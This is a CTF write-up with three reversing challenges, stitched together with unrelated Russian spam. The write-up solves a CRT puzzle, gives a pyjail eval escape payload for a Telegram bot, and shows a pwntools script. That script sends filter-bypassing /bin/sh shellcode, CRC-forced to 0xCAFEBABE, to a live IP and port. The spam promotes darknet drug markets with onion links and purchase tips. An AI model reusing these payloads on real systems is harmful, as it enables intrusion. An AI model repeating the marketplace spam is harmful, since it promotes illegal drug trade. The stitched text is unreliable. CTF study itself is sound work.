Кракен омг мега

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 ссылка and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Кракен омг мега - Кракен магазин даркнет
По слухам основной партнер и поставщик, а так же основная часть магазинов переехала на торговую биржу. Просто покидали народ в очередной раз, кстати такая тенденция длилась больше 3 лет. Сайт ramp russian anonymous marketplace находится по ссылке: ramp2idivg322d.onion. Загрузка. Новая и биржа russian anonymous marketplace onion находится по ссылке Z, onion адрес можно найти в сети, что бы попасть нужно использовать ТОР Браузер. Пока не забыл сразу расскажу один подозрительный для меня факт про ramp marketplace. После этого отзывы на russian anonymous marketplace стали слегка пугающими, так как развелось одно кидало и вышло много не красивых статей про админа, который начал активно кидать из за своей жадности. Всегда читайте отзывы и будьте в курсе самого нового, иначе можно старь жертвой обмана. Именно по этому мы будет говорить о торговых сайтах, которые находятся в TOR сети и не подвластны блокировкам. Ну и понятное дело, если ты зарабатывал 100 рублей в месяц, а потом твоя зарплата стала 5 рублей, а запросы остались прежние, ты начинаешь шевелить. Подборка Обменников BetaChange (Telegram) Перейти. Кратко и по делу в Telegram. Три месяца назад основные магазины с биржи начали выкладывать информацию, что их жабберы угоняют, но самом деле это полный бред. Есть закрытые площадки типа russian anonymous marketplace, но на данный момент ramp russian anonymous marketplace уже более 3 месяцев не доступна из за ддос атак. Как попасть на russian anonymous marketplace? Как известно наши жизнь требует адреналина и новых ощущений, но как их получить, если многие вещи для получения таких ощущений запрещены. Выбирайте любой понравившийся вам сайт, не останавливайтесь только на одном. Подборка Marketplace-площадок by LegalRC Площадки постоянно атакуют друг друга, возможны долгие подключения и лаги. Onion - Tchka Free Market одна из топовых зарубежных торговых площадок, работает без пошлины. Спасибо! Из минусов то, что нет внутренних обменников и возможности покупать за киви или по карте, но обменять рубли на BTC всегда можно на сторонних обменных сервисах. Он годится как закрытый инструмент, не влияющий на работу остальной системы. Вся серверная инфраструктура "Гидры" была изъята, сейчас мы занимаемся восстановлением всех функций сайта с резервных серверов написала она и призвала пользователей «Гидры» не паниковать, а магазинам посоветовала не искать альтернативные площадки. Дружелюбным его никак не назовешь. Именно благодаря этому, благодаря доверию покупателей,а так же работе профессиональной администрации Меге, сайт всё время движется только вперёд! От себя Гидра официальный сайт предоставляет услуги автоматического гаранта. Как попасть на russian anonymous marketplace? Оригинальный сайт: ore (через TOR browser) / (через Тор) / (онион браузер).Сборник настоящих, рабочих ссылок на сайт мега в Даркнете, чтобы вы через правильное, рабочее зеркало попали на официальный сайт Меги. В платных аках получше. Возможность оплаты через биткоин или терминал. 2qrdpvonwwqnic7j.onion - IDC Italian DarkNet Community, итальянская торговая площадка в виде форума.

На данный момент после освобождения рынка от крупного игрока, сайт Омг начал набирать популярность и стремительно развиваться. Пошив гидрокостюмов по индивидуальным меркам. Все магазины мега на карте Москвы. Так как на просторах интернета встречается большое количество мошенников, которые могут вам подсунуть ссылку, перейдя на которую вы можете потерять анонимность, либо личные данные, либо ещё хуже того ваши финансы, на личных счетах. 37 вопросов по теме «Гидра». Похожие. В итоге купил что хотел, я доволен. Ну и понятное дело, если ты зарабатывал 100 рублей в месяц, а потом твоя зарплата стала 5 рублей, а запросы остались прежние, ты начинаешь шевелить. 2006 открыты моллы мега в Екатеринбурге, Нижнем Новгороде и два центра во Всеволожском районе Ленинградской области (мега Дыбенко и мега Парнас. Оniоn p Используйте анонимайзер Тор для ссылок онион, чтобы зайти на сайт в обычном браузере: Теневой проект по продаже нелегальной продукции и услуг стартовал задолго до закрытия аналогичного сайта Гидра. Если вы получили аккаунта, то эта статья вам поможет. Несмотря на то, что официальная статистика МВД свидетельствует о снижении количества преступлений, связанных с наркотиками, независимые эксперты утверждают обратное. Матанга официальная matangapchela, сайт на матанга, матанга новый адрес сайта top, матанга анион официальные зеркала top, зеркало на сайт. Покупай легко и удобно Выбрал товар, перевел деньги в крипту, оплатил, поехал-забрал. ОМГ! Чем мне Мега нравится, а что). Омг Вход через Ссылка на Омг - все ссылки. Почему это происходит скорее всего. Опубликовать свою вакансию @Info1794 По всем вопросам @ostap_odessa Удаляем публикации без возврата средств /фальш/ дейтинг и все что запрещено. Меня тут нейросеть по фоткам нарисовала. Смотреть лучшие сериалы комедии года в хорошем качестве и без рекламы онлайн. Hydra (здесь и далее имеющая синонимы "торговая площадка "площадка "ресурс "портал "Гидра - обеспечивает сделки купли-продажи между покупателем). Hydra поддержка пользователей. В 2015 финансовом году (с 1 сентября 2014 года по года) торговые центры мега в России посетили 275 миллионов человек. Интересно, а есть ли? Как зарегистрироваться, какие настройки сделать, как заливать файлы в хранилище. Весь каталог, адрес. Ведущий торгово-развлекательный центр России, мега Белая Дача. Для данной платформы невозможно. 103 335 подписчиков. Москве. Архангельск,. IMG Я не являюсь автором этой темы. Как зайти на рамп через компьютер, как пользоваться ramp, как оплатить рамп, ссылки дп для браузера ramp, как правильно заходить на рамп, не открывает рамп. Всем привет, в этой статье я расскажу вам о проекте ТОП уровня defi, у которого. При возникновении вопросов или проблем с получением заказа, оплатой и других проблем Вам поможет в этом разобраться Модерация. Год назад в Черной сети перестала функционировать крупнейшая нелегальная анонимная. Капча Судя по отзывам пользователей, капча на Омг очень неудобная, но эта опция является необходимой с точки зрения безопасности. Аналоги капс. Мега официальный магазин в сети Тор. У меня для вас очень плохие новости. Как только будет сгенерировано новое зеркало Омг (Omg оно сразу же появится здесь. Старая ссылка. Подробности Автор: hitman Создано: Просмотров: 90289. Доступное зеркало Hydra (Гидра) - Вам необходимо зарегистрироваться для просмотра ссылок. Настоящая ссылка зеркала только одна. Всё как и раньше, но лучше.